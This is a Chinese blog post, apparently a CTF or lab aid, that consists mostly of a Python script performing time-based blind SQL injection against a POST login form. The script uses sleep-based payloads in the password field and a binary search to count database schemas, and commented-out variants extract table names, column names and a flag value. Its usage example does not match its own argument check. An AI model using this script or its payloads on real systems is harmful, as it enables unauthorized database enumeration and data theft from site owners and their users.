首页 > 其他分享 >post时间注入脚本

post时间注入脚本

时间:2023-08-02 20:44:36浏览次数:29  
标签:脚本 __ self mid high low print post 注入

import requests
import sys
import time
import pdb
class Injection():
    def __init__(self):
        self.url = ""
        self.schemataNum=0
    def InjectionSchemaNumber(self):
        high = 30
        low = 1
        mid = (low + high) // 2
        while high > low:
            payload = f"1' or if((select count(schema_name) from information_schema.schemata)>{mid},sle
ep(5),0)-- +"       #查库名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(table_name))from(information_schema.
tables)where(table_schema)='note'),{i},1))>{mid},sleep(2),1)#"        #查表名
            #payload = f"1'or if(ascii(substr((seleCt(group_concat(column_name))from(information_schema
.columns)where(table_name)='users'),{i},1))>{mid},sleep(2),1)#"        #查列名
            #payload = f"1'or if(ascii(substr((seleCt(flag)from(fl4g)),{i},1))>{mid},sleep(2),1)#"     
  #查数据
            data = {
                "uname":"admin",
                "passwd":payload,
                "submit":"Submit"
            }        
            last = int(time.time())
            try:
                res = requests.post(self.url, data = data)
            except Exception as e:
                print(e) 
            finally:
                now = int(time.time())
            if now - last >5 :    
                low = mid
            else :
                high = mid
            mid = (low + high) // 2
            if mid==low and high-low==1:
                #print("The Number of schema is {}".format(high))
                self.schemataNum=high
                #break
                return
        #print(low,mid)
        self.schemataNum=mid
    def Usage(self):
        if len(sys.argv)!=2:
            print('The number of parameter number not right')
            print('Usage:python3 %s url '% sys.argv[0])
            print("Example:python3 postInjection.py http://192.168.62.249/login.php username=admin&password=admin password")
            sys.exit(-1)
        self.url = sys.argv[1] 
if __name__ == '__main__':
#    pdb.set_trace()
    inject = Injection()
    inject.Usage()
    inject.InjectionSchemaNumber()
    print(inject.schemataNum)
                                

 

标签:脚本,__,self,mid,high,low,print,post,注入
From: https://www.cnblogs.com/xiaoliyulixianji/p/17601682.html

相关文章

  • zt,UPF与低功耗设计实现实例 -- 附UPF与DC综合脚本
    https://blog.csdn.net/hungtaowu/article/details/120703931UPF与低功耗设计实现实例--附UPF与DC综合脚本sunvally已于 2022-11-1517:40:44 修改6059 收藏 98分类专栏: 低功耗设计与验证 文章标签: 硬件工程版权低功耗设计与验证专栏收录该内容29......
  • 逆向工程核心原理——第二十七章 进程注入-代码注入
    官方源码地址:https://blog.kakaocdn.net/dn/buCuJU/btq2OpiKoTz/JIIGkCcw1xjLtsDt4yV5dk/%EC%86%8C%EC%8A%A4%EC%BD%94%EB%93%9C.zip?attach=1&knm=tfile.zip虽然是韩语,但是编译依然ok! 写在前面,我用官方给的代码,使用vs2022编译release模式,在win11上也注入成功了!注意dll也需要编译......
  • 进程注入如何通过调用栈,使用ML分类来检测——非常值得借鉴,待实践
    4、MachineLearningtoUltimatelyDefeatAdvancedRansomwareThreatsRSA2022的这个分享主题核心讲解了进程注入如何通过调用栈,使用ML分类来检测。当然,勒索的其他本质特征例如文件加密等没有提到。但是其进程注入的检测值得重点关注。Ryukasthemostadvancedformofransomw......
  • 定制ISO时在kickstart脚本的%post后处理阶段拷贝文件
    自己定制ISO使用ks.cfg实现自动安装时,可以在%post阶段执行添加文件、创建帐号、安全加固等操作,一般都会涉及从安装介质拷贝文件到目标系统,网上很多文章都是直接mount固定设备比如/dev/sr0,但实际安装过程中,ISO文件可能被刻录成光盘或U盘,另外UEFI和BIOS模式也有影响,因此无法提前知道......
  • 进程注入检测 —— RtlCaptureStackBackTrace 获取当前函数的调用栈函数
    https://stackoverflow.com/questions/590160/how-to-log-stack-frames-with-windows-x64 https://cpp.hotexamples.com/examples/-/-/RtlCaptureStackBackTrace/cpp-rtlcapturestackbacktrace-function-examples.html  例子参考  平日里用VS开发工具在调时在Debug下有一个选......
  • 九、BAT脚本如何自动执行 adb shell 以后的命令
    @echooffechosu>temp.txtecho其它命令>>temp.txtadbshell<temp.txtdeltemp.txt求问BAT脚本如何自动执行adbshell以后的命令_百度知道http://zhidao.baidu.com/question/496847483.html把adb命令写在temp.txt里面。然后一次性执行......
  • Linux shell 脚本中 if 的 “-e,-d,-f “ 说明
    1、文件表达式 2、整数变量表达式参数说明-eq等于-ne不等于-gt大于-ge大于等于-lt 小于-le小于等于 3、字符串变量表达式参数说明$a=$......
  • 直连路由注入中间系统
    IS-IS按如下原则建立邻接关系只有同一层此的相邻路由器才有可能成为邻接对于Level-1路由器来说,AREAid必须一致链路两端IS-IS接口的网络类型必须一致链路两端IS-IS接口的地址必须处于同一网段由于IS-IS是直接运行在数据链路层上的协议,并且最早设计是给CLNP使用的,IS-IS邻接关系的形......
  • postgresql 配置相关
    配置含义32->192.168.1.1/32表示必须是来自这个IP地址的访问才合法;24->192.168.1.0/24表示只要来自192.168.1.0~192.168.1.255的都合法;16->192.168.0.0/16表示只要来自192.168.0.0~192.168.255.255的都合法;8->192.0.0.0/16表示只要来自192.0.0.0~192.255.......
  • sudo su - postgres 是什么意思?
    解释PostgreSQL安装成功之后,会默认创建一个名为postgres的Linux用户。从root用户切换为postgres用户命令为supostgres,但是这样切换用户会导致该用户的权限很低,所以使用sudosupostgres设置postgres用户拥有部分root用户权限。另外使用-可以在切换的同时进入到......